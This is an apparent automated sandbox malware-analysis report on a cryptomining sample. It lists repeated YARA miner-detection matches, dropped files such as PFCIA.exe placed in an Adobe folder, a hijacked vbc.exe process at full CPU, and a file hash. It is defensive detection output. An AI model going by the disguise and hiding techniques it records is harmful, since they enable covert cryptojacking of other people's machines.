    Source: 0000001D.00000002.96516178254.0000000004244000.00000004.00000800.00020000.00000000.sdmp, type: MEMORYMatched rule: PUA_Crypto_Mining_CommandLine_Indicators_Oct21 date = 2021-10-24, author = Florian Roth, description = Detects command line parameters often used by crypto mining software, score = , reference = https://www.poolwatch.io/coin/monero
    Source: 0000001D.00000002.96521906740.0000000004286000.00000004.00000800.00020000.00000000.sdmp, type: MEMORYMatched rule: CoinMiner_Strings date = 2018-01-04, author = Florian Roth, description = Detects mining pool protocol string in Executable, nodeepdive = , score = https://minergate.com/faq/what-pool-address, modified = 2021-10-26
    Source: 0000001D.00000002.96521906740.0000000004286000.00000004.00000800.00020000.00000000.sdmp, type: MEMORYMatched rule: PUA_Crypto_Mining_CommandLine_Indicators_Oct21 date = 2021-10-24, author = Florian Roth, description = Detects command line parameters often used by crypto mining software, score = , reference = https://www.poolwatch.io/coin/monero
    Source: 0000001D.00000002.96489625963.0000000004106000.00000004.00000800.00020000.00000000.sdmp, type: MEMORYMatched rule: CoinMiner_Strings date = 2018-01-04, author = Florian Roth, description = Detects mining pool protocol string in Executable, nodeepdive = , score = https://minergate.com/faq/what-pool-address, modified = 2021-10-26
    Source: 0000001D.00000002.96489625963.0000000004106000.00000004.00000800.00020000.00000000.sdmp, type: MEMORYMatched rule: PUA_Crypto_Mining_CommandLine_Indicators_Oct21 date = 2021-10-24, author = Florian Roth, description = Detects command line parameters often used by crypto mining software, score = , reference = https://www.poolwatch.io/coin/monero
    Source: 0000001D.00000002.96482848533.00000000040BC000.00000004.00000800.00020000.00000000.sdmp, type: MEMORYMatched rule: CoinMiner_Strings date = 2018-01-04, author = Florian Roth, description = Detects mining pool protocol string in Executable, nodeepdive = , score = https://minergate.com/faq/what-pool-address, modified = 2021-10-26
    Source: 0000001D.00000002.96482848533.00000000040BC000.00000004.00000800.00020000.00000000.sdmp, type: MEMORYMatched rule: PUA_Crypto_Mining_CommandLine_Indicators_Oct21 date = 2021-10-24, author = Florian Roth, description = Detects command line parameters often used by crypto mining software, score = , reference = https://www.poolwatch.io/coin/monero
    Source: 0000001D.00000002.96521574784.0000000004282000.00000004.00000800.00020000.00000000.sdmp, type: MEMORYMatched rule: CoinMiner_Strings date = 2018-01-04, author = Florian Roth, description = Detects mining pool protocol string in Executable, nodeepdive = , score = https://minergate.com/faq/what-pool-address, modified = 2021-10-26
    Source: 0000001D.00000002.96521574784.0000000004282000.00000004.00000800.00020000.00000000.sdmp, type: MEMORYMatched rule: PUA_Crypto_Mining_CommandLine_Indicators_Oct21 date = 2021-10-24, author = Florian Roth, description = Detects command line parameters often used by crypto mining software, score = , reference = https://www.poolwatch.io/coin/monero
    Source: 0000001D.00000002.96512225025.0000000004216000.00000004.00000800.00020000.00000000.sdmp, type: MEMORYMatched rule: CoinMiner_Strings date = 2018-01-04, author = Florian Roth, description = Detects mining pool protocol string in Executable, nodeepdive = , score = https://minergate.com/faq/what-pool-address, modified = 2021-10-26
    Source: 0000001D.00000002.96512225025.0000000004216000.00000004.00000800.00020000.00000000.sdmp, type: MEMORYMatched rule: PUA_Crypto_Mining_CommandLine_Indicators_Oct21 date = 2021-10-24, author = Florian Roth, description = Detects command line parameters often used by crypto mining software, score = , reference = https://www.poolwatch.io/coin/monero
    Source: 0000001D.00000002.96484629378.00000000040D0000.00000004.00000800.00020000.00000000.sdmp, type: MEMORYMatched rule: CoinMiner_Strings date = 2018-01-04, author = Florian Roth, description = Detects mining pool protocol string in Executable, nodeepdive = , score = https://minergate.com/faq/what-pool-address, modified = 2021-10-26
    Source: 0000001D.00000002.96484629378.00000000040D0000.00000004.00000800.00020000.00000000.sdmp, type: MEMORYMatched rule: PUA_Crypto_Mining_CommandLine_Indicators_Oct21 date = 2021-10-24, author = Florian Roth, description = Detects command line parameters often used by crypto mining software, score = , reference = https://www.poolwatch.io/coin/monero
    Source: 0000001D.00000002.96501883465.0000000004190000.00000004.00000800.00020000.00000000.sdmp, type: MEMORYMatched rule: CoinMiner_Strings date = 2018-01-04, author = Florian Roth, description = Detects mining pool protocol string in Executable, nodeepdive = , score = https://minergate.com/faq/what-pool-address, modified = 2021-10-26
    Source: 0000001D.00000002.96501883465.0000000004190000.00000004.00000800.00020000.00000000.sdmp, type: MEMORYMatched rule: PUA_Crypto_Mining_CommandLine_Indicators_Oct21 date = 2021-10-24, author = Florian Roth, description = Detects command line parameters often used by crypto mining software, score = , reference = https://www.poolwatch.io/coin/monero
    Source: 0000001D.00000002.96515197968.0000000004238000.00000004.00000800.00020000.00000000.sdmp, type: MEMORYMatched rule: CoinMiner_Strings date = 2018-01-04, author = Florian Roth, description = Detects mining pool protocol string in Executable, nodeepdive = , score = https://minergate.com/faq/what-pool-address, modified = 2021-10-26
    Source: 0000001D.00000002.96515197968.0000000004238000.00000004.00000800.00020000.00000000.sdmp, type: MEMORYMatched rule: PUA_Crypto_Mining_CommandLine_Indicators_Oct21 date = 2021-10-24, author = Florian Roth, description = Detects command line parameters often used by crypto mining software, score = , reference = https://www.poolwatch.io/coin/monero
    Source: 0000001D.00000002.96495360319.0000000004146000.00000004.00000800.00020000.00000000.sdmp, type: MEMORYMatched rule: CoinMiner_Strings date = 2018-01-04, author = Florian Roth, description = Detects mining pool protocol string in Executable, nodeepdive = , score = https://minergate.com/faq/what-pool-address, modified = 2021-10-26
    Source: 0000001D.00000002.96495360319.0000000004146000.00000004.00000800.00020000.00000000.sdmp, type: MEMORYMatched rule: PUA_Crypto_Mining_CommandLine_Indicators_Oct21 date = 2021-10-24, author = Florian Roth, description = Detects command line parameters often used by crypto mining software, score = , reference = https://www.poolwatch.io/coin/monero
    Source: 0000001D.00000002.96518660164.0000000004264000.00000004.00000800.00020000.00000000.sdmp, type: MEMORYMatched rule: CoinMiner_Strings date = 2018-01-04, author = Florian Roth, description = Detects mining pool protocol string in Executable, nodeepdive = , score = https://minergate.com/faq/what-pool-address, modified = 2021-10-26
    Source: 0000001D.00000002.96518660164.0000000004264000.00000004.00000800.00020000.00000000.sdmp, type: MEMORYMatched rule: PUA_Crypto_Mining_CommandLine_Indicators_Oct21 date = 2021-10-24, author = Florian Roth, description = Detects command line parameters often used by crypto mining software, score = , reference = https://www.poolwatch.io/coin/monero
    Source: 0000001D.00000002.96490890645.0000000004116000.00000004.00000800.00020000.00000000.sdmp, type: MEMORYMatched rule: CoinMiner_Strings date = 2018-01-04, author = Florian Roth, description = Detects mining pool protocol string in Executable, nodeepdive = , score = https://minergate.com/faq/what-pool-address, modified = 2021-10-26
    Source: 0000001D.00000002.96490890645.0000000004116000.00000004.00000800.00020000.00000000.sdmp, type: MEMORYMatched rule: PUA_Crypto_Mining_CommandLine_Indicators_Oct21 date = 2021-10-24, author = Florian Roth, description = Detects command line parameters often used by crypto mining software, score = , reference = https://www.poolwatch.io/coin/monero
    Source: 0000001D.00000002.96440709553.00000000014AA000.00000004.00000020.00020000.00000000.sdmp, type: MEMORYMatched rule: CoinMiner_Strings date = 2018-01-04, author = Florian Roth, description = Detects mining pool protocol string in Executable, nodeepdive = , score = https://minergate.com/faq/what-pool-address, modified = 2021-10-26
    Source: 0000001D.00000002.96440709553.00000000014AA000.00000004.00000020.00020000.00000000.sdmp, type: MEMORYMatched rule: PUA_Crypto_Mining_CommandLine_Indicators_Oct21 date = 2021-10-24, author = Florian Roth, description = Detects command line parameters often used by crypto mining software, score = , reference = https://www.poolwatch.io/coin/monero
    Source: 0000001D.00000002.96492169740.0000000004122000.00000004.00000800.00020000.00000000.sdmp, type: MEMORYMatched rule: CoinMiner_Strings date = 2018-01-04, author = Florian Roth, description = Detects mining pool protocol string in Executable, nodeepdive = , score = https://minergate.com/faq/what-pool-address, modified = 2021-10-26
    Source: 0000001D.00000002.96492169740.0000000004122000.00000004.00000800.00020000.00000000.sdmp, type: MEMORYMatched rule: PUA_Crypto_Mining_CommandLine_Indicators_Oct21 date = 2021-10-24, author = Florian Roth, description = Detects command line parameters often used by crypto mining software, score = , reference = https://www.poolwatch.io/coin/monero
    Source: 0000001D.00000002.96483406959.00000000040C4000.00000004.00000800.00020000.00000000.sdmp, type: MEMORYMatched rule: CoinMiner_Strings date = 2018-01-04, author = Florian Roth, description = Detects mining pool protocol string in Executable, nodeepdive = , score = https://minergate.com/faq/what-pool-address, modified = 2021-10-26
    Source: 0000001D.00000002.96483406959.00000000040C4000.00000004.00000800.00020000.00000000.sdmp, type: MEMORYMatched rule: PUA_Crypto_Mining_CommandLine_Indicators_Oct21 date = 2021-10-24, author = Florian Roth, description = Detects command line parameters often used by crypto mining software, score = , reference = https://www.poolwatch.io/coin/monero
    Source: 0000001D.00000002.96499031575.0000000004170000.00000004.00000800.00020000.00000000.sdmp, type: MEMORYMatched rule: CoinMiner_Strings date = 2018-01-04, author = Florian Roth, description = Detects mining pool protocol string in Executable, nodeepdive = , score = https://minergate.com/faq/what-pool-address, modified = 2021-10-26
    Source: 0000001D.00000002.96499031575.0000000004170000.00000004.00000800.00020000.00000000.sdmp, type: MEMORYMatched rule: PUA_Crypto_Mining_CommandLine_Indicators_Oct21 date = 2021-10-24, author = Florian Roth, description = Detects command line parameters often used by crypto mining software, score = , reference = https://www.poolwatch.io/coin/monero
    Source: 0000001D.00000002.96489910690.000000000410A000.00000004.00000800.00020000.00000000.sdmp, type: MEMORYMatched rule: CoinMiner_Strings date = 2018-01-04, author = Florian Roth, description = Detects mining pool protocol string in Executable, nodeepdive = , score = https://minergate.com/faq/what-pool-address, modified = 2021-10-26
    Source: 0000001D.00000002.96489910690.000000000410A000.00000004.00000800.00020000.00000000.sdmp, type: MEMORYMatched rule: PUA_Crypto_Mining_CommandLine_Indicators_Oct21 date = 2021-10-24, author = Florian Roth, description = Detects command line parameters often used by crypto mining software, score = , reference = https://www.poolwatch.io/coin/monero
    Source: 0000001D.00000002.96515533420.000000000423C000.00000004.00000800.00020000.00000000.sdmp, type: MEMORYMatched rule: CoinMiner_Strings date = 2018-01-04, author = Florian Roth, description = Detects mining pool protocol string in Executable, nodeepdive = , score = https://minergate.com/faq/what-pool-address, modified = 2021-10-26
    Source: 0000001D.00000002.96515533420.000000000423C000.00000004.00000800.00020000.00000000.sdmp, type: MEMORYMatched rule: PUA_Crypto_Mining_CommandLine_Indicators_Oct21 date = 2021-10-24, author = Florian Roth, description = Detects command line parameters often used by crypto mining software, score = , reference = https://www.poolwatch.io/coin/monero
    Source: 0000001D.00000002.96496253915.0000000004152000.00000004.00000800.00020000.00000000.sdmp, type: MEMORYMatched rule: CoinMiner_Strings date = 2018-01-04, author = Florian Roth, description = Detects mining pool protocol string in Executable, nodeepdive = , score = https://minergate.com/faq/what-pool-address, modified = 2021-10-26
    Source: 0000001D.00000002.96496253915.0000000004152000.00000004.00000800.00020000.00000000.sdmp, type: MEMORYMatched rule: PUA_Crypto_Mining_CommandLine_Indicators_Oct21 date = 2021-10-24, author = Florian Roth, description = Detects command line parameters often used by crypto mining software, score = , reference = https://www.poolwatch.io/coin/monero
    Source: 0000001D.00000002.96504526211.00000000041B0000.00000004.00000800.00020000.00000000.sdmp, type: MEMORYMatched rule: CoinMiner_Strings date = 2018-01-04, author = Florian Roth, description = Detects mining pool protocol string in Executable, nodeepdive = , score = https://minergate.com/faq/what-pool-address, modified = 2021-10-26
    Source: 0000001D.00000002.96504526211.00000000041B0000.00000004.00000800.00020000.00000000.sdmp, type: MEMORYMatched rule: PUA_Crypto_Mining_CommandLine_Indicators_Oct21 date = 2021-10-24, author = Florian Roth, description = Detects command line parameters often used by crypto mining software, score = , reference = https://www.poolwatch.io/coin/monero
    Source: 0000001D.00000002.96487703215.00000000040F2000.00000004.00000800.00020000.00000000.sdmp, type: MEMORYMatched rule: CoinMiner_Strings date = 2018-01-04, author = Florian Roth, description = Detects mining pool protocol string in Executable, nodeepdive = , score = https://minergate.com/faq/what-pool-address, modified = 2021-10-26
    Source: 0000001D.00000002.96487703215.00000000040F2000.00000004.00000800.00020000.00000000.sdmp, type: MEMORYMatched rule: PUA_Crypto_Mining_CommandLine_Indicators_Oct21 date = 2021-10-24, author = Florian Roth, description = Detects command line parameters often used by crypto mining software, score = , reference = https://www.poolwatch.io/coin/monero
    Source: 0000001D.00000002.96497158376.000000000415E000.00000004.00000800.00020000.00000000.sdmp, type: MEMORYMatched rule: CoinMiner_Strings date = 2018-01-04, author = Florian Roth, description = Detects mining pool protocol string in Executable, nodeepdive = , score = https://minergate.com/faq/what-pool-address, modified = 2021-10-26
    Source: 0000001D.00000002.96497158376.000000000415E000.00000004.00000800.00020000.00000000.sdmp, type: MEMORYMatched rule: PUA_Crypto_Mining_CommandLine_Indicators_Oct21 date = 2021-10-24, author = Florian Roth, description = Detects command line parameters often used by crypto mining software, score = , reference = https://www.poolwatch.io/coin/monero
    Source: 0000001D.00000002.96506334493.00000000041C6000.00000004.00000800.00020000.00000000.sdmp, type: MEMORYMatched rule: CoinMiner_Strings date = 2018-01-04, author = Florian Roth, description = Detects mining pool protocol string in Executable, nodeepdive = , score = https://minergate.com/faq/what-pool-address, modified = 2021-10-26
    Source: 0000001D.00000002.96506334493.00000000041C6000.00000004.00000800.00020000.00000000.sdmp, type: MEMORYMatched rule: PUA_Crypto_Mining_CommandLine_Indicators_Oct21 date = 2021-10-24, author = Florian Roth, description = Detects command line parameters often used by crypto mining software, score = , reference = https://www.poolwatch.io/coin/monero
    Source: 0000001D.00000002.96487182629.00000000040EC000.00000004.00000800.00020000.00000000.sdmp, type: MEMORYMatched rule: CoinMiner_Strings date = 2018-01-04, author = Florian Roth, description = Detects mining pool protocol string in Executable, nodeepdive = , score = https://minergate.com/faq/what-pool-address, modified = 2021-10-26
    Source: 0000001D.00000002.96487182629.00000000040EC000.00000004.00000800.00020000.00000000.sdmp, type: MEMORYMatched rule: PUA_Crypto_Mining_CommandLine_Indicators_Oct21 date = 2021-10-24, author = Florian Roth, description = Detects command line parameters often used by crypto mining software, score = , reference = https://www.poolwatch.io/coin/monero
    Source: 0000001D.00000002.96515884038.0000000004240000.00000004.00000800.00020000.00000000.sdmp, type: MEMORYMatched rule: CoinMiner_Strings date = 2018-01-04, author = Florian Roth, description = Detects mining pool protocol string in Executable, nodeepdive = , score = https://minergate.com/faq/what-pool-address, modified = 2021-10-26
    Source: 0000001D.00000002.96515884038.0000000004240000.00000004.00000800.00020000.00000000.sdmp, type: MEMORYMatched rule: PUA_Crypto_Mining_CommandLine_Indicators_Oct21 date = 2021-10-24, author = Florian Roth, description = Detects command line parameters often used by crypto mining software, score = , reference = https://www.poolwatch.io/coin/monero
    Source: 0000001D.00000002.96517749892.0000000004258000.00000004.00000800.00020000.00000000.sdmp, type: MEMORYMatched rule: CoinMiner_Strings date = 2018-01-04, author = Florian Roth, description = Detects mining pool protocol string in Executable, nodeepdive = , score = https://minergate.com/faq/what-pool-address, modified = 2021-10-26
    Source: 0000001D.00000002.96517749892.0000000004258000.00000004.00000800.00020000.00000000.sdmp, type: MEMORYMatched rule: PUA_Crypto_Mining_CommandLine_Indicators_Oct21 date = 2021-10-24, author = Florian Roth, description = Detects command line parameters often used by crypto mining software, score = , reference = https://www.poolwatch.io/coin/monero
    Source: 0000001D.00000002.96498575909.000000000416C000.00000004.00000800.00020000.00000000.sdmp, type: MEMORYMatched rule: CoinMiner_Strings date = 2018-01-04, author = Florian Roth, description = Detects mining pool protocol string in Executable, nodeepdive = , score = https://minergate.com/faq/what-pool-address, modified = 2021-10-26
    Source: 0000001D.00000002.96498575909.000000000416C000.00000004.00000800.00020000.00000000.sdmp, type: MEMORYMatched rule: PUA_Crypto_Mining_CommandLine_Indicators_Oct21 date = 2021-10-24, author = Florian Roth, description = Detects command line parameters often used by crypto mining software, score = , reference = https://www.poolwatch.io/coin/monero
    Source: 0000001D.00000002.96511814438.0000000004212000.00000004.00000800.00020000.00000000.sdmp, type: MEMORYMatched rule: CoinMiner_Strings date = 2018-01-04, author = Florian Roth, description = Detects mining pool protocol string in Executable, nodeepdive = , score = https://minergate.com/faq/what-pool-address, modified = 2021-10-26
    Source: 0000001D.00000002.96511814438.0000000004212000.00000004.00000800.00020000.00000000.sdmp, type: MEMORYMatched rule: PUA_Crypto_Mining_CommandLine_Indicators_Oct21 date = 2021-10-24, author = Florian Roth, description = Detects command line parameters often used by crypto mining software, score = , reference = https://www.poolwatch.io/coin/monero
    Source: 0000001D.00000002.96523828843.000000000429E000.00000004.00000800.00020000.00000000.sdmp, type: MEMORYMatched rule: CoinMiner_Strings date = 2018-01-04, author = Florian Roth, description = Detects mining pool protocol string in Executable, nodeepdive = , score = https://minergate.com/faq/what-pool-address, modified = 2021-10-26
    Source: 0000001D.00000002.96523828843.000000000429E000.00000004.00000800.00020000.00000000.sdmp, type: MEMORYMatched rule: PUA_Crypto_Mining_CommandLine_Indicators_Oct21 date = 2021-10-24, author = Florian Roth, description = Detects command line parameters often used by crypto mining software, score = , reference = https://www.poolwatch.io/coin/monero
    Source: 0000001D.00000002.96497494367.0000000004162000.00000004.00000800.00020000.00000000.sdmp, type: MEMORYMatched rule: CoinMiner_Strings date = 2018-01-04, author = Florian Roth, description = Detects mining pool protocol string in Executable, nodeepdive = , score = https://minergate.com/faq/what-pool-address, modified = 2021-10-26
    Source: 0000001D.00000002.96497494367.0000000004162000.00000004.00000800.00020000.00000000.sdmp, type: MEMORYMatched rule: PUA_Crypto_Mining_CommandLine_Indicators_Oct21 date = 2021-10-24, author = Florian Roth, description = Detects command line parameters often used by crypto mining software, score = , reference = https://www.poolwatch.io/coin/monero
    Source: 0000000D.00000002.96412646424.000000014008D000.00000040.00000400.00020000.00000000.sdmp, type: MEMORYMatched rule: CoinMiner_Strings date = 2018-01-04, author = Florian Roth, description = Detects mining pool protocol string in Executable, nodeepdive = , score = https://minergate.com/faq/what-pool-address, modified = 2021-10-26
    Source: 0000001D.00000002.96508122417.00000000041DE000.00000004.00000800.00020000.00000000.sdmp, type: MEMORYMatched rule: CoinMiner_Strings date = 2018-01-04, author = Florian Roth, description = Detects mining pool protocol string in Executable, nodeepdive = , score = https://minergate.com/faq/what-pool-address, modified = 2021-10-26
    Source: 0000001D.00000002.96508122417.00000000041DE000.00000004.00000800.00020000.00000000.sdmp, type: MEMORYMatched rule: PUA_Crypto_Mining_CommandLine_Indicators_Oct21 date = 2021-10-24, author = Florian Roth, description = Detects command line parameters often used by crypto mining software, score = , reference = https://www.poolwatch.io/coin/monero
    Source: 0000001D.00000002.96493240726.000000000412E000.00000004.00000800.00020000.00000000.sdmp, type: MEMORYMatched rule: CoinMiner_Strings date = 2018-01-04, author = Florian Roth, description = Detects mining pool protocol string in Executable, nodeepdive = , score = https://minergate.com/faq/what-pool-address, modified = 2021-10-26
    Source: 0000001D.00000002.96493240726.000000000412E000.00000004.00000800.00020000.00000000.sdmp, type: MEMORYMatched rule: PUA_Crypto_Mining_CommandLine_Indicators_Oct21 date = 2021-10-24, author = Florian Roth, description = Detects command line parameters often used by crypto mining software, score = , reference = https://www.poolwatch.io/coin/monero
    Source: 0000001D.00000002.96505793589.00000000041BE000.00000004.00000800.00020000.00000000.sdmp, type: MEMORYMatched rule: CoinMiner_Strings date = 2018-01-04, author = Florian Roth, description = Detects mining pool protocol string in Executable, nodeepdive = , score = https://minergate.com/faq/what-pool-address, modified = 2021-10-26
    Source: 0000001D.00000002.96505793589.00000000041BE000.00000004.00000800.00020000.00000000.sdmp, type: MEMORYMatched rule: PUA_Crypto_Mining_CommandLine_Indicators_Oct21 date = 2021-10-24, author = Florian Roth, description = Detects command line parameters often used by crypto mining software, score = , reference = https://www.poolwatch.io/coin/monero
    Source: 0000001D.00000002.96483857949.00000000040C8000.00000004.00000800.00020000.00000000.sdmp, type: MEMORYMatched rule: CoinMiner_Strings date = 2018-01-04, author = Florian Roth, description = Detects mining pool protocol string in Executable, nodeepdive = , score = https://minergate.com/faq/what-pool-address, modified = 2021-10-26
    Source: 0000001D.00000002.96483857949.00000000040C8000.00000004.00000800.00020000.00000000.sdmp, type: MEMORYMatched rule: PUA_Crypto_Mining_CommandLine_Indicators_Oct21 date = 2021-10-24, author = Florian Roth, description = Detects command line parameters often used by crypto mining software, score = , reference = https://www.poolwatch.io/coin/monero
    Source: 0000001D.00000002.96523255159.0000000004296000.00000004.00000800.00020000.00000000.sdmp, type: MEMORYMatched rule: CoinMiner_Strings date = 2018-01-04, author = Florian Roth, description = Detects mining pool protocol string in Executable, nodeepdive = , score = https://minergate.com/faq/what-pool-address, modified = 2021-10-26
    Source: 0000001D.00000002.96523255159.0000000004296000.00000004.00000800.00020000.00000000.sdmp, type: MEMORYMatched rule: PUA_Crypto_Mining_CommandLine_Indicators_Oct21 date = 2021-10-24, author = Florian Roth, description = Detects command line parameters often used by crypto mining software, score = , reference = https://www.poolwatch.io/coin/monero
    Source: 0000001D.00000002.96513255906.0000000004222000.00000004.00000800.00020000.00000000.sdmp, type: MEMORYMatched rule: CoinMiner_Strings date = 2018-01-04, author = Florian Roth, description = Detects mining pool protocol string in Executable, nodeepdive = , score = https://minergate.com/faq/what-pool-address, modified = 2021-10-26
    Source: 0000001D.00000002.96513255906.0000000004222000.00000004.00000800.00020000.00000000.sdmp, type: MEMORYMatched rule: PUA_Crypto_Mining_CommandLine_Indicators_Oct21 date = 2021-10-24, author = Florian Roth, description = Detects command line parameters often used by crypto mining software, score = , reference = https://www.poolwatch.io/coin/monero
    Source: 0000001D.00000002.96521079461.000000000427E000.00000004.00000800.00020000.00000000.sdmp, type: MEMORYMatched rule: CoinMiner_Strings date = 2018-01-04, author = Florian Roth, description = Detects mining pool protocol string in Executable, nodeepdive = , score = https://minergate.com/faq/what-pool-address, modified = 2021-10-26
    Source: 0000001D.00000002.96521079461.000000000427E000.00000004.00000800.00020000.00000000.sdmp, type: MEMORYMatched rule: PUA_Crypto_Mining_CommandLine_Indicators_Oct21 date = 2021-10-24, author = Florian Roth, description = Detects command line parameters often used by crypto mining software, score = , reference = https://www.poolwatch.io/coin/monero
    Source: 0000001D.00000002.96509948608.00000000041F6000.00000004.00000800.00020000.00000000.sdmp, type: MEMORYMatched rule: CoinMiner_Strings date = 2018-01-04, author = Florian Roth, description = Detects mining pool protocol string in Executable, nodeepdive = , score = https://minergate.com/faq/what-pool-address, modified = 2021-10-26
    Source: 0000001D.00000002.96509948608.00000000041F6000.00000004.00000800.00020000.00000000.sdmp, type: MEMORYMatched rule: PUA_Crypto_Mining_CommandLine_Indicators_Oct21 date = 2021-10-24, author = Florian Roth, description = Detects command line parameters often used by crypto mining software, score = , reference = https://www.poolwatch.io/coin/monero
    Source: 0000001D.00000002.96510740814.0000000004202000.00000004.00000800.00020000.00000000.sdmp, type: MEMORYMatched rule: CoinMiner_Strings date = 2018-01-04, author = Florian Roth, description = Detects mining pool protocol string in Executable, nodeepdive = , score = https://minergate.com/faq/what-pool-address, modified = 2021-10-26
    Source: 0000001D.00000002.96510740814.0000000004202000.00000004.00000800.00020000.00000000.sdmp, type: MEMORYMatched rule: PUA_Crypto_Mining_CommandLine_Indicators_Oct21 date = 2021-10-24, author = Florian Roth, description = Detects command line parameters often used by crypto mining software, score = , reference = https://www.poolwatch.io/coin/monero
    Source: 0000001D.00000002.96485315100.00000000040D8000.00000004.00000800.00020000.00000000.sdmp, type: MEMORYMatched rule: CoinMiner_Strings date = 2018-01-04, author = Florian Roth, description = Detects mining pool protocol string in Executable, nodeepdive = , score = https://minergate.com/faq/what-pool-address, modified = 2021-10-26
    Source: 0000001D.00000002.96485315100.00000000040D8000.00000004.00000800.00020000.00000000.sdmp, type: MEMORYMatched rule: PUA_Crypto_Mining_CommandLine_Indicators_Oct21 date = 2021-10-24, author = Florian Roth, description = Detects command line parameters often used by crypto mining software, score = , reference = https://www.poolwatch.io/coin/monero
    Source: 0000001D.00000002.96488209886.00000000040F6000.00000004.00000800.00020000.00000000.sdmp, type: MEMORYMatched rule: CoinMiner_Strings date = 2018-01-04, author = Florian Roth, description = Detects mining pool protocol string in Executable, nodeepdive = , score = https://minergate.com/faq/what-pool-address, modified = 2021-10-26
    Source: 0000001D.00000002.96488209886.00000000040F6000.00000004.00000800.00020000.00000000.sdmp, type: MEMORYMatched rule: PUA_Crypto_Mining_CommandLine_Indicators_Oct21 date = 2021-10-24, author = Florian Roth, description = Detects command line parameters often used by crypto mining software, score = , reference = https://www.poolwatch.io/coin/monero
    Source: 0000001D.00000002.96514551824.0000000004230000.00000004.00000800.00020000.00000000.sdmp, type: MEMORYMatched rule: CoinMiner_Strings date = 2018-01-04, author = Florian Roth, description = Detects mining pool protocol string in Executable, nodeepdive = , score = https://minergate.com/faq/what-pool-address, modified = 2021-10-26
    Source: 0000001D.00000002.96514551824.0000000004230000.00000004.00000800.00020000.00000000.sdmp, type: MEMORYMatched rule: PUA_Crypto_Mining_CommandLine_Indicators_Oct21 date = 2021-10-24, author = Florian Roth, description = Detects command line parameters often used by crypto mining software, score = , reference = https://www.poolwatch.io/coin/monero
    Source: 0000001D.00000002.96500811456.0000000004184000.00000004.00000800.00020000.00000000.sdmp, type: MEMORYMatched rule: CoinMiner_Strings date = 2018-01-04, author = Florian Roth, description = Detects mining pool protocol string in Executable, nodeepdive = , score = https://minergate.com/faq/what-pool-address, modified = 2021-10-26
    Source: 0000001D.00000002.96500811456.0000000004184000.00000004.00000800.00020000.00000000.sdmp, type: MEMORYMatched rule: PUA_Crypto_Mining_CommandLine_Indicators_Oct21 date = 2021-10-24, author = Florian Roth, description = Detects command line parameters often used by crypto mining software, score = , reference = https://www.poolwatch.io/coin/monero
    Source: Process Memory Space: vbc.exe PID: 4788, type: MEMORYSTRMatched rule: CoinMiner_Strings date = 2018-01-04, author = Florian Roth, description = Detects mining pool protocol string in Executable, nodeepdive = , score = https://minergate.com/faq/what-pool-address, modified = 2021-10-26
    Source: Process Memory Space: vbc.exe PID: 4788, type: MEMORYSTRMatched rule: PUA_CryptoMiner_Jan19_1 date = 2019-01-31, author = Florian Roth, description = Detects Crypto Miner strings, score = ede858683267c61e710e367993f5e589fcb4b4b57b09d023a67ea63084c54a05, reference = Internal Research
    Source: Process Memory Space: vbc.exe PID: 4788, type: MEMORYSTRMatched rule: PUA_Crypto_Mining_CommandLine_Indicators_Oct21 date = 2021-10-24, author = Florian Roth, description = Detects command line parameters often used by crypto mining software, score = , reference = https://www.poolwatch.io/coin/monero
    Source: Process Memory Space: PFCIA.exe PID: 6552, type: MEMORYSTRMatched rule: CoinMiner_Strings date = 2018-01-04, author = Florian Roth, description = Detects mining pool protocol string in Executable, nodeepdive = , score = https://minergate.com/faq/what-pool-address, modified = 2021-10-26
    Source: Process Memory Space: PFCIA.exe PID: 6552, type: MEMORYSTRMatched rule: PUA_Crypto_Mining_CommandLine_Indicators_Oct21 date = 2021-10-24, author = Florian Roth, description = Detects command line parameters often used by crypto mining software, score = , reference = https://www.poolwatch.io/coin/monero
    Source: C:\ProgramData\Adobe\PFCIA.exeProcess created: C:\Windows\System32\WerFault.exe C:\Windows\system32\WerFault.exe -u -p 4436 -s 864
    Source: C:\Users\user\Desktop\gOKMPhOLiN.exeCode function: 1_2_02CC09001_2_02CC0900
    Source: C:\Users\user\Desktop\gOKMPhOLiN.exeCode function: 1_2_07F382C91_2_07F382C9
    Source: C:\Users\user\Desktop\gOKMPhOLiN.exeCode function: 1_2_07F36AA41_2_07F36AA4
    Source: C:\Users\user\Desktop\gOKMPhOLiN.exeCode function: 1_2_09C6CB781_2_09C6CB78
    Source: C:\Users\user\Desktop\gOKMPhOLiN.exeCode function: 1_2_09C67A801_2_09C67A80
    Source: C:\Users\user\Desktop\gOKMPhOLiN.exeCode function: 1_2_09C6BEBC1_2_09C6BEBC
    Source: C:\Users\user\Desktop\gOKMPhOLiN.exeCode function: 1_2_09C6D0401_2_09C6D040
    Source: C:\Users\user\Desktop\gOKMPhOLiN.exeCode function: 1_2_09C6A4401_2_09C6A440
    Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\vbc.exeProcess Stats: CPU usage > 98%
    Source: PFCIA.exe.3.drStatic PE information: No import functions for PE file found
    Source: ghoul.exe.1.drStatic PE information: No import functions for PE file found
    Source: gOKMPhOLiN.exe, 00000001.00000002.96418434067.0000000000E2E000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: OriginalFilenameclr.dllT vs gOKMPhOLiN.exe
    Source: gOKMPhOLiN.exe, 00000001.00000002.96472690764.0000000003D79000.00000004.00000800.00020000.00000000.sdmpBinary or memory string: OriginalFilenameWindowsFormsApp3.exeD vs gOKMPhOLiN.exe
    Source: gOKMPhOLiN.exeBinary or memory string: OriginalFilenameUX_Login_Insta.exe< vs gOKMPhOLiN.exe
    Source: C:\Users\user\Desktop\gOKMPhOLiN.exeSection loaded: edgegdi.dllJump to behavior
    Source: C:\Users\user\AppData\Local\Temp\ghoul.exeSection loaded: edgegdi.dllJump to behavior
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: edgegdi.dllJump to behavior
    Source: C:\ProgramData\Adobe\PFCIA.exeSection loaded: edgegdi.dllJump to behavior
    Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\vbc.exeSection loaded: edgegdi.dll
    Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\vbc.exeSection loaded: quserex.dll
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: edgegdi.dll
    Source: C:\ProgramData\Adobe\PFCIA.exeSection loaded: edgegdi.dll
    Source: Joe Sandbox ViewDropped File: C:\Users\user\AppData\Local\Temp\ghoul.exe 5F1C900332C6CE00349719A6ECCD13894FC312F2B6460D7F419CA49172C8623A
    Source: gOKMPhOLiN.exeStatic PE information: Section: .text IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ
